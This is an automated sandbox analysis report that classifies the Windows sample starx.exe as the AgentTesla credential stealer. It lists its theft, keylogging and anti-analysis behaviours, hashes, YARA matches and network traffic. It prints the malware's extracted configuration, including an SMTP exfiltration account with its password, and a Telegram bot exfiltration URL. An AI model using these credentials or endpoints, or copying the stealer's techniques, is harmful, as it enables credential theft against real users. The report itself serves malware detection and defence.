Play interactive tour

Edit tour

Analysis Report starx.exe

Overview

General Information

Sample Name:	starx.exe
Analysis ID:	286806
MD5:	2689e0bd727c85849f786822b360cd28
SHA1:	ae242d8709f588cc91f9ab814a5efeb6c1a160bc
SHA256:	37a4202e64f88ef928f46cdb05653527a1201aaffd431022eececff19348515b
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

Contains functionality to detect sleep reduction / modifications

Found evasive API chain (may execute only at specific dates)

Machine Learning detection for sample

Maps a DLL or memory area into another process

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to detect virtual machines (SLDT)

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains strange resources

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara detected Credential Stealer

Classification

Startup

System is w10x64

starx.exe (PID: 6728 cmdline: 'C:\Users\user\Desktop\starx.exe' MD5: 2689E0BD727C85849F786822B360CD28)

starx.exe (PID: 6960 cmdline: 'C:\Users\user\Desktop\starx.exe' MD5: 2689E0BD727C85849F786822B360CD28)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Username: ": "KUwgxo", "URL: ": "http://PsF9BDspIqQdTVi.net", "To: ": "szoro0@yandex.com", "ByHost: ": "smtp.yandex.com:587", "Password: ": "SzYscCJ", "From: ": "szoro0@yandex.com"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.1009380756.000000000044B000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.365000476.00000000041BB000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000002.00000002.1009882459.0000000000630000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000002.00000002.1010610583.0000000000AF2000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000002.00000002.1009281768.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.364864002.0000000004172000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000002.00000002.1014070589.0000000002A0E000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000002.00000002.1014070589.0000000002A0E000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.1013605272.0000000002981000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000002.00000002.1010558328.0000000000AB2000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: starx.exe PID: 6960	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: starx.exe PID: 6960	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: starx.exe PID: 6728	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
2.2.starx.exe.630000.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
2.2.starx.exe.af0000.5.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
2.2.starx.exe.630000.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
2.2.starx.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
2.2.starx.exe.ab0000.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.starx.exe.4170000.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 1 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus / Scanner detection for submitted sample

Show sources

Source: starx.exe

Avira: detected

Found malware configuration

Show sources

Source: starx.exe.6960.2.memstr

Malware Configuration Extractor: Agenttesla {"Username: ": "KUwgxo", "URL: ": "http://PsF9BDspIqQdTVi.net", "To: ": "szoro0@yandex.com", "ByHost: ": "smtp.yandex.com:587", "Password: ": "SzYscCJ", "From: ": "szoro0@yandex.com"}

Multi AV Scanner detection for submitted file

Show sources

Source: starx.exe	Virustotal: Detection: 57%	Perma Link
Source: starx.exe	Metadefender: Detection: 34%	Perma Link
Source: starx.exe	ReversingLabs: Detection: 82%

Machine Learning detection for sample

Show sources

Source: starx.exe

Joe Sandbox ML: detected

Source: 2.2.starx.exe.af0000.5.unpack	Avira: Label: TR/Spy.Gen8
Source: 0.2.starx.exe.25b0000.3.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00408454 FindFirstFileA,FindClose,FileTimeToLocalFileTime,FileTimeToDosDateTime,		0_2_00408454
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00405098 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,		0_2_00405098

Source: global traffic

TCP traffic: 192.168.2.3:49761 -> 77.88.21.158:587

Source: Joe Sandbox View

IP Address: 77.88.21.158 77.88.21.158

Source: global traffic

TCP traffic: 192.168.2.3:49761 -> 77.88.21.158:587

Source: unknown

DNS traffic detected: queries for: smtp.yandex.com

Source: starx.exe, 00000002.00000002.1013605272.0000000002981000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: starx.exe, 00000002.00000002.1013605272.0000000002981000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: starx.exe, 00000002.00000002.1014070589.0000000002A0E000.00000004.00000001.sdmp, starx.exe, 00000002.00000002.1014591376.0000000002ABE000.00000004.00000001.sdmp, starx.exe, 00000002.00000003.556314586.0000000005241000.00000004.00000001.sdmp	String found in binary or memory: http://PsF9BDspIqQdTVi.net
Source: starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	String found in binary or memory: http://crl.certum.pl/ca.crl0h
Source: starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	String found in binary or memory: http://crls.yandex.net/certum/ycasha2.crl0-
Source: starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	String found in binary or memory: http://repository.certum.pl/ca.cer09
Source: starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	String found in binary or memory: http://repository.certum.pl/ycasha2.cer0
Source: starx.exe, 00000002.00000002.1013605272.0000000002981000.00000004.00000001.sdmp	String found in binary or memory: http://rvlyyV.com
Source: starx.exe, 00000002.00000002.1014427219.0000000002A8C000.00000004.00000001.sdmp	String found in binary or memory: http://smtp.yandex.com
Source: starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	String found in binary or memory: http://subca.ocsp-certum.com0.
Source: starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	String found in binary or memory: http://subca.ocsp-certum.com01
Source: starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	String found in binary or memory: http://www.certum.pl/CPS0
Source: starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	String found in binary or memory: http://yandex.crl.certum.pl/ycasha2.crl0q
Source: starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	String found in binary or memory: http://yandex.ocsp-responder.com03
Source: starx.exe, 00000002.00000002.1013605272.0000000002981000.00000004.00000001.sdmp	String found in binary or memory: https://api.ipify.orgGETMozilla/5.0
Source: starx.exe, 00000000.00000002.365000476.00000000041BB000.00000040.00000001.sdmp, starx.exe, 00000002.00000002.1009380756.000000000044B000.00000040.00000001.sdmp	String found in binary or memory: https://api.telegram.org/bot%telegramapi%/
Source: starx.exe, 00000002.00000002.1013605272.0000000002981000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.org/bot%telegramapi%/sendDocumentdocument---------------------------x
Source: starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	String found in binary or memory: https://www.certum.pl/CPS0
Source: starx.exe	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
Source: starx.exe, 00000002.00000002.1013605272.0000000002981000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

Source: C:\Users\user\Desktop\starx.exe

Code function: 0_2_00420CC0 GetClipboardData,CopyEnhMetaFileA,GetEnhMetaFileHeader,

0_2_00420CC0

Source: C:\Users\user\Desktop\starx.exe

Code function: 0_2_0043DD3C GetKeyboardState,

0_2_0043DD3C

Source: starx.exe, 00000000.00000002.361495785.00000000007DA000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00440CB8 NtdllDefWindowProc_A,GetCapture,	0_2_00440CB8
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_0045BA98 NtdllDefWindowProc_A,	0_2_0045BA98
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_0045C240 IsIconic,SetActiveWindow,IsWindowEnabled,SetWindowPos,NtdllDefWindowProc_A,	0_2_0045C240
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_0045C2F0 IsIconic,SetActiveWindow,IsWindowEnabled,NtdllDefWindowProc_A,SetWindowPos,SetFocus,	0_2_0045C2F0
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_0042A524 NtdllDefWindowProc_A,	0_2_0042A524
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00450C40 GetSubMenu,SaveDC,RestoreDC,739EB080,SaveDC,RestoreDC,NtdllDefWindowProc_A,	0_2_00450C40
Source: C:\Users\user\Desktop\starx.exe	Code function: 2_2_00444159 NtCreateSection,	2_2_00444159

Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00450C40	0_2_00450C40
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00455F90	0_2_00455F90
Source: C:\Users\user\Desktop\starx.exe	Code function: 2_2_00402296	2_2_00402296
Source: C:\Users\user\Desktop\starx.exe	Code function: 2_2_0043D976	2_2_0043D976
Source: C:\Users\user\Desktop\starx.exe	Code function: 2_2_0044313D	2_2_0044313D
Source: C:\Users\user\Desktop\starx.exe	Code function: 2_2_024C46A0	2_2_024C46A0
Source: C:\Users\user\Desktop\starx.exe	Code function: 2_2_024C35C4	2_2_024C35C4
Source: C:\Users\user\Desktop\starx.exe	Code function: 2_2_024C45B0	2_2_024C45B0
Source: C:\Users\user\Desktop\starx.exe	Code function: 2_2_024C5370	2_2_024C5370
Source: C:\Users\user\Desktop\starx.exe	Code function: 2_2_024C35B8	2_2_024C35B8
Source: C:\Users\user\Desktop\starx.exe	Code function: 2_2_024CDA00	2_2_024CDA00
Source: C:\Users\user\Desktop\starx.exe	Code function: 2_2_059D7540	2_2_059D7540
Source: C:\Users\user\Desktop\starx.exe	Code function: 2_2_059D94F8	2_2_059D94F8
Source: C:\Users\user\Desktop\starx.exe	Code function: 2_2_059D6C70	2_2_059D6C70
Source: C:\Users\user\Desktop\starx.exe	Code function: 2_2_059D6928	2_2_059D6928
Source: C:\Users\user\Desktop\starx.exe	Code function: 2_2_059D2548	2_2_059D2548

Source: C:\Users\user\Desktop\starx.exe	Code function: String function: 00403FC0 appears 68 times
Source: C:\Users\user\Desktop\starx.exe	Code function: String function: 004060D4 appears 62 times

Source: starx.exe	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: starx.exe	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: starx.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: starx.exe, 00000000.00000002.365112708.00000000041F2000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameNDEDCeTcqHyGOpNvotAEY.exe4 vs starx.exe
Source: starx.exe, 00000000.00000002.361463897.0000000000780000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameuser32j% vs starx.exe
Source: starx.exe, 00000000.00000002.361470848.0000000000790000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameCOMCTL32.DLL.MUIj% vs starx.exe
Source: starx.exe	Binary or memory string: OriginalFilename vs starx.exe
Source: starx.exe, 00000002.00000002.1009380756.000000000044B000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameNDEDCeTcqHyGOpNvotAEY.exe4 vs starx.exe
Source: starx.exe, 00000002.00000002.1015558203.0000000005340000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameKernelbase.dll.muij% vs starx.exe
Source: starx.exe, 00000002.00000002.1009108498.0000000000197000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs starx.exe
Source: starx.exe, 00000002.00000002.1010502609.00000000008B0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameCRYPT32.DLL.MUIj% vs starx.exe
Source: starx.exe, 00000002.00000002.1015457878.0000000005180000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamewbemdisp.tlbj% vs starx.exe
Source: starx.exe, 00000002.00000002.1010238341.00000000007B7000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs starx.exe

Source: C:\Users\user\Desktop\starx.exe	Section loaded: mscorwks.dll	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Section loaded: mscorsec.dll	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Section loaded: mscorjit.dll	Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@2/1

Source: C:\Users\user\Desktop\starx.exe

Code function: 0_2_0041DDA8 GetLastError,FormatMessageA,

0_2_0041DDA8

Source: C:\Users\user\Desktop\starx.exe

Code function: 0_2_00408606 GetDiskFreeSpaceA,

0_2_00408606

Source: C:\Users\user\Desktop\starx.exe

Code function: 0_2_004137F4 FindResourceA,

0_2_004137F4

Source: C:\Users\user\Desktop\starx.exe

Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Jump to behavior

Source: C:\Users\user\Desktop\starx.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Users\user\Desktop\starx.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\starx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\starx.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\starx.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: starx.exe	Virustotal: Detection: 57%
Source: starx.exe	Metadefender: Detection: 34%
Source: starx.exe	ReversingLabs: Detection: 82%

Source: unknown	Process created: C:\Users\user\Desktop\starx.exe 'C:\Users\user\Desktop\starx.exe'
Source: unknown	Process created: C:\Users\user\Desktop\starx.exe 'C:\Users\user\Desktop\starx.exe'
Source: C:\Users\user\Desktop\starx.exe	Process created: C:\Users\user\Desktop\starx.exe 'C:\Users\user\Desktop\starx.exe'	Jump to behavior

Source: C:\Users\user\Desktop\starx.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\starx.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\starx.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\starx.exe

Unpacked PE file: 2.2.starx.exe.400000.0.unpack CODE:ER;DATA:W;BSS:W;.idata:W;.tls:W;.rdata:R;.reloc:R;.rsrc:R; vs .text:ER;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\starx.exe

Unpacked PE file: 2.2.starx.exe.400000.0.unpack

Source: C:\Users\user\Desktop\starx.exe

Code function: 0_2_004265C8 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_004265C8

Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_004482AC push 00448339h; ret	0_2_00448331
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00416038 push ecx; mov dword ptr [esp], edx	0_2_0041603A
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_0045E088 push 0045E0B4h; ret	0_2_0045E0AC
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00448244 push 004482AAh; ret	0_2_004482A2
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00426224 push 00426250h; ret	0_2_00426248
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_004263D0 push 004263FCh; ret	0_2_004263F4
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00436418 push 00436444h; ret	0_2_0043643C
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00424540 push 0042456Ch; ret	0_2_00424564
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_0042E57C push 0042E5A8h; ret	0_2_0042E5A0
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_0042E5CC push 0042E60Fh; ret	0_2_0042E607
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00436580 push 004365ACh; ret	0_2_004365A4
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00428608 push 00428661h; ret	0_2_00428659
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_0042E634 push 0042E677h; ret	0_2_0042E66F
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_004306C8 push 0043070Ah; ret	0_2_00430702
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_004246D8 push 00424704h; ret	0_2_004246FC
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_0042E6F0 push 0042E73Bh; ret	0_2_0042E733
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_0042E698 push 0042E6E4h; ret	0_2_0042E6DC
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_0042E748 push 0042E774h; ret	0_2_0042E76C
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00410736 push 004107AEh; ret	0_2_004107A6
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00410738 push 004107AEh; ret	0_2_004107A6
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_004107B0 push 00410858h; ret	0_2_00410850
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_0041085A push 00410970h; ret	0_2_00410968
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_0041A8AE push 0041A95Bh; ret	0_2_0041A953
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_0041A8B0 push 0041A95Bh; ret	0_2_0041A953
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00410944 push 00410970h; ret	0_2_00410968
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_0041A960 push 0041A9F0h; ret	0_2_0041A9E8
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_004069D4 push ecx; mov dword ptr [esp], eax	0_2_004069D5
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_0041A9F2 push 0041AD10h; ret	0_2_0041AD08
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00462A60 push 00462A8Ch; ret	0_2_00462A84
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00460AE4 push 00460B24h; ret	0_2_00460B1C
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00412ABC push ecx; mov dword ptr [esp], edx	0_2_00412AC1

Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_0045BB20 PostMessageA,PostMessageA,SendMessageA,GetProcAddress,GetLastError,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	0_2_0045BB20
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_0045C240 IsIconic,SetActiveWindow,IsWindowEnabled,SetWindowPos,NtdllDefWindowProc_A,	0_2_0045C240
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_0045C2F0 IsIconic,SetActiveWindow,IsWindowEnabled,NtdllDefWindowProc_A,SetWindowPos,SetFocus,	0_2_0045C2F0
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_004423DC IsIconic,GetCapture,	0_2_004423DC
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00424910 IsIconic,GetWindowPlacement,GetWindowRect,	0_2_00424910
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00458B48 SendMessageA,ShowWindow,ShowWindow,CallWindowProcA,SendMessageA,ShowWindow,SetWindowPos,GetActiveWindow,IsIconic,SetWindowPos,SetActiveWindow,ShowWindow,	0_2_00458B48
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00442C90 IsIconic,SetWindowPos,GetWindowPlacement,SetWindowPlacement,	0_2_00442C90
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_004435B4 IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient,	0_2_004435B4

Source: C:\Users\user\Desktop\starx.exe

0_2_004265C8

Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
